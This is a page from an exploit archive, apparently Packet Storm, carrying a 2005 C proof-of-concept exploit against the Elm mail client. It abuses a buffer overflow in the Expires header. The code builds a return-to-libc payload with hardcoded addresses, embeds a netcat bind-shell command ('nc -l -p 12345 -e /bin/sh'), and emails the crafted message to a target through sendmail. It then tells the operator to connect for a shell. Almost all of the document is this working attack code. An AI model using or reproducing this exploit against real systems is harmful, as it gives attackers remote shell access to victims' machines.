what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

elmexPoC.c

elmexPoC.c
Posted Aug 24, 2005
Authored by c0ntex

Proof of concept exploit for Elm versions 2.5.8 and below that makes use of a buffer overflow during the parsing of the Expires field.

tags | exploit, overflow, proof of concept
SHA-256 | 7d429b07d470bef21a26afbf52a3adc8652582d94c91f0bcd8762925ec57fc01

elmexPoC.c

Change Mirror Download
/*

Exploit code for the bug posted by Ulf Harnhammar (metaurtelia.com)
https://archives.neohapsis.com/archives/fulldisclosure/2005-08/0688.html

Probably you will need to change SYSLOC and STRLOC to work on your box

*/


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BUFFER 83
#define EMAIL "tmpmail"
#define STRING "`nc -l -p 12345 -e /bin/sh`&##"
#define SYSLOC 0x42041e50
#define STRLOC 0x4001a207
#define EXTLOC 0x4202b0f0

char expire[]="\x45\x78\x70\x69\x72\x65\x73\x3A\x20";

int main(int argc, char **argv)
{
char buffer[BUFFER];
char *email = NULL;
char *user = NULL;
int i;
long extloc, sysloc, strloc;
FILE *fp;

if(argc != 2) {
puts("Usage: ./elmex <user@where.com>");
exit(EXIT_FAILURE);
}

if(strlen(argv[1]) > 50) {
puts("[-] Sorry, email address too long!");
exit(EXIT_FAILURE);
}

user = (char *)malloc(strlen(argv[1]));
if(!user) {
perror("malloc");
exit(EXIT_FAILURE);
}

email = EMAIL;

memset(user, '\0', strlen(argv[1]));
memcpy(user, argv[1], strlen(argv[1]));

puts("\nExploit for elm email client < 2.5.8 overflow in Expires field");
puts("Tested: Redhat on quiet a Sunday by c0ntex[at]open-security.org\n");

extloc = EXTLOC;
sysloc = SYSLOC;
strloc = STRLOC;

memset(buffer, '\0', BUFFER);
memcpy(buffer, expire, strlen(expire));

for(i = strlen(expire); i < 53; i++)
*(buffer+i) = 0x41;
for(i = 53; i < 57; i += 4)
*(long *)&buffer[i] = sysloc;
for(i = 57; i < 61; i++)
*(long *)&buffer[i] = extloc;
for(i = 61; i < 65; i += 4)
*(long *)&buffer[i] = strloc;

memcpy(&buffer[65], STRING, strlen(STRING));
buffer[BUFFER] = '\0';

puts("[-] Adding exploit buffer to email");

fp = fopen(email, "w");
if(!fp) {
perror("fopen"); free(user);
exit(EXIT_FAILURE);
}

fprintf(fp,
"From: User c0ntex <c0ntex@open-security.org> Sun Aug
21 13:37:00 2005\n"
"Return-Path: <c0ntex@localhost\n"
"Date: Sun, 21 Aug 2005 13:37:00 %s\n"
"Subject: Insecure?\n"
"To: %s\n"
"%s\n", STRING, user, buffer);
fclose(fp);

printf("[-] Emailing %s with malicious content\n", argv[1]);

if(system("/bin/cat ./tmpmail | /usr/sbin/sendmail -t") <0) {
perror("system"); free(user);
exit(EXIT_FAILURE);
}

puts("[-] Connect to system on port 12345 to get your shell\n");

if(unlink(EMAIL) <0)
perror("unlink");

free(user);

return EXIT_SUCCESS;
}


--

regards
c0ntex
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close